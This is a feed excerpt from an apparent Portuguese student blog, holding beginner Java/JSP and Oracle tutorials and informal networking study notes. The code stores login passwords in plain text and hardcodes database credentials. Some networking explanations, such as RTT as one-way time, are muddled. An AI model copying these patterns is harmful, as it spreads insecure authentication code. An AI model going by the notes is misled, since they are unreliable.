&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;DATABASE&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Use &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;table&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;usuarios&lt;/span&gt;( &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;nome &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;varchar&lt;/span&gt;(30), &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;senha &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;varchar&lt;/span&gt;(20))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Isso vai criar a tabela que usaremos para testar o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A página &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;home&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;jsp&lt;/span&gt; é essa.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;%@page contentType=&quot;text/html&quot; pageEncoding=&quot;UTF-8&quot;%&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;head&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/head&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;h1&amp;gt;Seja bem vindo a sistema&amp;lt;/h1&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;img src=&quot;javinha.jpg&quot; width=&quot;350&quot; height=&quot;350&quot; alt=&quot;Imagem de Teste&quot; align=&quot;center&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;amp;&lt;span class=&quot;misspell&quot; suggestions=&quot;AMP,ANMP,amo,MP,ACP&quot;&gt;amp&lt;/span&gt;;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;nbsp&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;a href=&quot;https://docs.google.com/leaf?id=0BwMc3DySb_ezNjA4NzU4ZmUtZDY2OS00NWRhLWExMDYtNDQwZDU0Nzg5MDA2&amp;amp;hl=pt_BR&quot; id=&quot;os.9&quot; title=&quot;Link para download do projeto completo.&quot;&gt;Link para download do projeto completo.&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Bom é isso.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/1245049121748303861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/1245049121748303861'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/04/criando-um-sistema-de-login-em-java.html' title='Criando um sistema de login em Java.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-6094164838775037998</id><published>2010-04-20T09:03:00.000-03:00</published><updated>2010-04-20T09:03:54.990-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Geral"/><title type='text'>Minha revisão de REDES</title><content type='html'>O Modelo internet.&lt;br /&gt;
É composto por 5 camadas ( Aplicação, Transporte, Rede, Enlace e Física), as camadas superiores utilizam serviços oferecidos pelas camadas inferiores.&lt;br /&gt;
Assim como as camadas inferiores recursos das camadas superiores, na imagem abaixo da pra se observar que por exemplo.&lt;br /&gt;
A Camada Transporte REDE, recebe segmentos da tabela Transporte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://docs.google.com/drawings/image?w=400&amp;amp;h=400&amp;amp;ac=1&amp;amp;id=sQ1yO0T0mrfpseUtqrrztwg&amp;amp;rev=82&quot; /&gt;&lt;/div&gt;O que é o RTT.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;med1&quot;&gt;&lt;span class=&quot;med1&quot;&gt;Round-trip time, é o calculo que determina &lt;/span&gt;&lt;/span&gt;o tempo que um pacote leva para sair da fonte, e ir até o destino.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.gta.ufrj.br/grad/07_2/pedro_paulo/index_arquivos/Page922.htm&quot;&gt;Clique Aqui se quer saber como fazer esse calculo.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
O que é o Slow start.&lt;br /&gt;
&lt;br /&gt;
É o método que ao começar algum tipo de tráfego na rede, o host manda pequenas quantidades de pacotes, de acordo com o Janela, o receptor que não está havendo congestionamento.&lt;br /&gt;
&lt;br /&gt;
O que é um Socket ?&lt;br /&gt;
&lt;br /&gt;
Segundo Marcoratti, &lt;span style=&quot;font-family: Verdana; font-size: x-small;&quot;&gt;&quot;Um &lt;b&gt;socket&lt;/b&gt; pode ser entendido como uma porta de um canal de comunicação que permite a um processo executando em um computador enviar/receber mensagens para/de outro processo que pode estar sendo executado no mesmo computador ou num computador remoto.&lt;/span&gt;&quot;&lt;br /&gt;
&lt;br /&gt;
Por que ao diminuir RTT, diminui também o Slow Start. ?&lt;br /&gt;
&lt;br /&gt;
Bom é o seguinte, existe dois tipos de conexão as persistentes e as não persistentes.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;HTTP não persistente A conexão TCP é desfeita ao final da entrega de cada objeto. A conexão NÃO PERSISTE para outros objetos. O browser pode abrir várias conexões TCP simultâneas (paralelismo). Pode sobrecarregar o Servidor (administração de mais buffers e variáveis TCP no lado Cliente e Servidor) e tem maior tempo de resposta (requisição de conexão a cada objeto solicitado). O HTTP/1.0 utiliza HTTP não persistente.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;HTTP persistente Múltiplos objetos podem ser enviados sobre uma mesma conexão TCP (com paralelismo ou sem paralelismo). Sem paralelismo, o Servidor fica ocioso entre o final do envio do objeto e a recepção da requisição de envio do próximo objeto (desperdício de recurso) e maior tempo de reposta para montar a página WEB. O HTTP/1.1 utiliza conexões persistentes em seu modo padrão.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
E levando em consideração que em cada conexão é feito o RTT, então quando as conexão forem persistentes, será feito menos RTT, fazendo menos RTT, será feito menos slow start.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;WireShark&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
WireShark é um software que captura de pacotes.&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;h4hk&quot; style=&quot;text-align: left;&quot;&gt;&lt;img height=&quot;396&quot; src=&quot;https://docs.google.com/File?id=dfbcppxn_149hfbqftgx_b&quot; width=&quot;679&quot; /&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. O computador com dispositivo da toshiba, envia um pacote de broadcast perguntando para o host 192.168.100.2, o seu MAC ADRESS, e diz para responder para o IP 192.168.100.105.&lt;br /&gt;
2. O Host com dispostivo Dell, retorna um pacote para o host da toshiba, informando que o ip 192.168.100.2, e esta com MAC 00:12:3f:6e:35:52&lt;br /&gt;
3. No item 3, o 192.168.100.105, mas uma requisição do Site Google...&lt;br /&gt;
Etc....&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Demultiplexação/multiplexação&lt;br /&gt;
&lt;br /&gt;
A Demultiplexação é a entrega dos dados de um segmento da camada de transporte à porta correta. &quot;O trabalho de reunir, no hospedeiro de origem, porções de dados provenientes de diferentes portas, encapsular cada porção de dados com infomações do cabeçalho (que mais tarde serão usadas na demultiplexação) para criar segmentos, e passar esses segmentos para a camada de rede é denominado multiplexação&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span id=&quot;goog_662265945&quot;&gt;&lt;/span&gt;&lt;img src=&quot;http://docs.google.com/drawings/image?w=400&amp;amp;h=400&amp;amp;ac=1&amp;amp;id=siD07ti833jvuwHraaPZDzw&amp;amp;rev=51&quot; /&gt;&lt;span id=&quot;goog_662265946&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Camada de aplicação&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
A&lt;b&gt; camada de aplicação&lt;/b&gt; é a camada que a maioria dos programas de rede usa de forma a se comunicar através de uma rede com outros programas. Processos que rodam nessa camada são específicos da aplicação; o dado é passado do programa de rede, no formato usado internamente por essa aplicação, e é codificado dentro do padrão de um protocolo.&lt;br /&gt;
Uma vez que o dado de uma aplicação foi codificado dentro de um padrão de um protocolo da camada de aplicação ele será passado para a próxima camada da pilha IP ( no caso transporte).&lt;br /&gt;
Na camada de transporte, aplicações irão em sua maioria fazer uso de TCP ou UDP, e aplicações servidoras são freqüentemente associadas com um número de porta.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Aplicações cliente conectando para fora geralmente usam um número de porta aleatório determinado pelo sistema operacional.&lt;br /&gt;
O pacote relacionado à camada de aplicação é chamado &lt;i&gt;Mensagem.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;A_camada_de_rede&quot;&gt;A camada de rede&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;A camada de rede resolve o problema de obter pacotes através de uma rede simples. Exemplos de protocolos são o IP.&lt;br /&gt;
Na suíte de protocolos para a internet, o IP executa a tarefa básica de levar pacotes de dados da origem para o destino. O protocolo IP pode transmitir dados para diferentes protocolos de níveis mais altos, esses protocolos são identificados por um único número de protocolo IP.O pacote da camada de rede é geralmente conhecido como &lt;b&gt;Datagrama&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;A_camada_de_transporte&quot;&gt;A camada de transporte&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;dl&gt;&lt;dd&gt; &lt;div class=&quot;noprint&quot;&gt;&lt;i&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Camada_de_transporte&quot; title=&quot;Camada de transporte&quot;&gt;&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;/dd&gt;&lt;/dl&gt;Os protocolos na camada de transporte podem resolver problemas como confiabilidade (o dado alcançou seu destino?) e integridade (os dados chegaram na ordem correta?). Na suíte de protocolos TCP/IP os protocolos de transporte também determinam para qual aplicação um dado qualquer é destinado.&lt;br /&gt;
O TCP,  é um mecanismo de transporte &quot;confiável&quot;, orientado à conexão e que fornece um &lt;i&gt;stream de bytes&lt;/i&gt; confiável, garantindo assim que os dados cheguem íntegros (não danificados e em ordem). O TCP tenta continuamente medir o quão carregada a rede está e desacelera sua taxa de envio para evitar sobrecarga.O UDP (&lt;i&gt;User Datagram Protocol&lt;/i&gt;), número 17 do protocolo IP, é um protocolo de datagrama sem conexão. Ele é um protocolo de &quot;melhor esforço&quot; ou &quot;não confiável&quot;. Não porque ele é particularmente não confiável, mas porque ele não verifica se os pacotes alcançaram seu destino, e não dá qualquer garantia que eles irão chegar na ordem. Se uma aplicação requer estas características, então ela mesma terá que provê-las ou usar o protocolo TCP.&lt;br /&gt;
O UDP é tipicamente usado por aplicações como as de mídia de &lt;i&gt;streaming&lt;/i&gt; (áudio, vídeo etc), onde a chegada na hora é mais importante do que confiabilidade, ou para aplicações de simples requisição/resposta como pesquisas de DNS, onde o overhead de configurar uma conexão confiável é desproporcionalmente largo.&lt;br /&gt;
O pacote da camada de transporte é chamado &lt;b&gt;Segmento&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pessoal, essa foi algumas coisas que levantei ao estudar redes, abordei apenas algumas coisas e não usem como fonte de estudo final.;D</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6094164838775037998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6094164838775037998'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/04/minha-revisao-de-redes.html' title='Minha revisão de REDES'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-1955715776628679044</id><published>2010-03-22T10:41:00.000-03:00</published><updated>2010-03-22T10:42:25.474-03:00</updated><title type='text'>Sobre o projeto abaixo</title><content type='html'>Bom, ficou um pouco confuso algumas coisas para esclarecer isso aqui está o fonte do projeto abram pelo NetBeans e fiquem a vontade para ver como foi feito.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/file/246748516/c60b5b5e/CadastroWeb.html&quot;&gt;Download do Projetinho &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
E Duas telas para mostrar como ele deve ficar no final.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_xParI2HnNeE/S6dzJ96Ln0I/AAAAAAAAAEU/g8_lxe49Bkk/s1600-h/Captura_de_tela-1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;http://4.bp.blogspot.com/_xParI2HnNeE/S6dzJ96Ln0I/AAAAAAAAAEU/g8_lxe49Bkk/s400/Captura_de_tela-1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_xParI2HnNeE/S6dzCGzsaBI/AAAAAAAAAEM/EH1gupcKY2E/s1600-h/Captura_de_tela.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;http://2.bp.blogspot.com/_xParI2HnNeE/S6dzCGzsaBI/AAAAAAAAAEM/EH1gupcKY2E/s400/Captura_de_tela.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Qualquer coisa só mandar a duvida pelo link de contato ao lado.</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/1955715776628679044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/1955715776628679044'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/03/sobre-o-projeto-abaixo.html' title='Sobre o projeto abaixo'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_xParI2HnNeE/S6dzJ96Ln0I/AAAAAAAAAEU/g8_lxe49Bkk/s72-c/Captura_de_tela-1.png" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-7597362239792057624</id><published>2010-03-22T10:28:00.001-03:00</published><updated>2010-03-22T10:32:22.098-03:00</updated><title type='text'>Inserindo dados no oracle usando html e java</title><content type='html'>Bom pessoal, vou postar agora uma serie de dicas sobre a linguagem Java, não que eu entenda a ponto de apresentar material avançado mas acho que algumas coisas que vou colocar aqui será interessante. &lt;br /&gt;
Bom, nessa primeira parte, nós vamos criar uma tabelas no Oracle ( relacional ) criar usuários. &lt;br /&gt;
Logo em seguida usando o NetBeans vamos criar um projeto WEB, utilizando JSP vamos inserir dados nesse nessas tabelas. &lt;br /&gt;
Os requisitos para treinar esse artigo é: &lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Oracle ( vou utilizar o 10g ) &lt;/li&gt;
&lt;li&gt;NetBeans ( completo para web incluindo servidores ) &lt;/li&gt;
&lt;li&gt;Java ( estou usando o JDK 1.5) &lt;/li&gt;
&lt;li&gt;Drive Oracle para Conectar com o Bando de dados. &lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Crie um usuário no Oracle, com o nome cadastro e com a senha 1234 &lt;br /&gt;
execute esse SQL. &lt;br /&gt;
O esquema do banco de dados é esse: &lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;CREATE TABLE&amp;nbsp; &quot;TBLCADASTRO&quot;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; (&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;CODIGO&quot; NUMBER NOT NULL ENABLE,&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;NOME&quot; VARCHAR2(255),&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;CONSTRAINT &quot;TBLCADASTRO_PK&quot; PRIMARY KEY (&quot;CODIGO&quot;) ENABLE &lt;br /&gt;
&amp;nbsp;&amp;nbsp; ) &lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
É Bem simples ele apenas cria dois campos um com o nome CODIGO, e outro com o nome&amp;nbsp; NOME, como é uma texto explicativo não em necessidade de encher a tabela de campos, use esse script para criar o banco. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Com o banco criado vamos agora configurar o Drive oracle para que o netbeans possa se conectar no nosso banco. &lt;br /&gt;
&lt;br /&gt;
Faça o Download no site da oracle, do drive respectivo a sua versão, por exemplo: Eu to utilizando o Oracle 10G versão 2.2.0.1.0 e vou utilizar o JDK 1.5 então baixe esse arquivo, e faça o seguinte, no NetBeans, dentro doo seu projeto Existe um diretorio escrito, Bibliotecas, clique nele com o botão direito, Adicionar JAR, e escolha o Arquivo do drive que acabou de baixar ;D &lt;br /&gt;
Com isso a parte de configuração para que posso ser realizada a conexão está pronto, vamos agora a programação. &lt;br /&gt;
&lt;br /&gt;
Adicione um pacote com o nome &quot;PkConectar&quot; dentro desse pacote vamos adicionar a classe responsável por fazer a conexão com o banco de dados, ela será instanciada mais a&amp;nbsp; frente para podermos realizar operação no banco. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// Indica que a cadConectar está do Pacote PkConexao &lt;br /&gt;
package PkConexao; &lt;br /&gt;
&lt;br /&gt;
// Importa as bibliotecas necessarias para fazer a conexão e o tratamento de erros &lt;br /&gt;
&lt;br /&gt;
import java.sql.Connection; &lt;br /&gt;
import java.sql.DriverManager; &lt;br /&gt;
import java.sql.SQLException; &lt;br /&gt;
&lt;br /&gt;
public class cadConectar { &lt;br /&gt;
// Cria metodo getConectar, observe que ela é o tipo Connection &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public static Connection getConectar() throws SQLException { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try { &lt;br /&gt;
&lt;br /&gt;
// Indica quanl Drive será usado, nesse caso o Drive Oracle &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Class.forName(&quot;oracle.jdbc.driver.OracleDriver&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (ClassNotFoundException ex) { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex.printStackTrace(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
//Retorna a Conexão para o metodo getConectar(), nesse caso servidor 127.0.0.1 porta 1521, usuario cadastro, senha 1234 ;D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return&amp;nbsp; DriverManager.getConnection(&quot;jdbc:oracle:thin:@127.0.0.1:1521:XE&quot;,&quot;cadastro&quot;,&quot;1234&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bom depois disso vamos a outra classe: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
O Próximo passo é criar uma classe, que receberá o valor que será passado a esses campos, com todos os métodos get e set. &lt;br /&gt;
&lt;br /&gt;
Aqui está, a classe, observe o pacote em que ela está. PkCadastro &lt;br /&gt;
&lt;br /&gt;
package PkCadastro; &lt;br /&gt;
&lt;br /&gt;
public class Cadastro { &lt;br /&gt;
int Codigo; &lt;br /&gt;
String Nome; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public int getCodigo() { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return Codigo; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
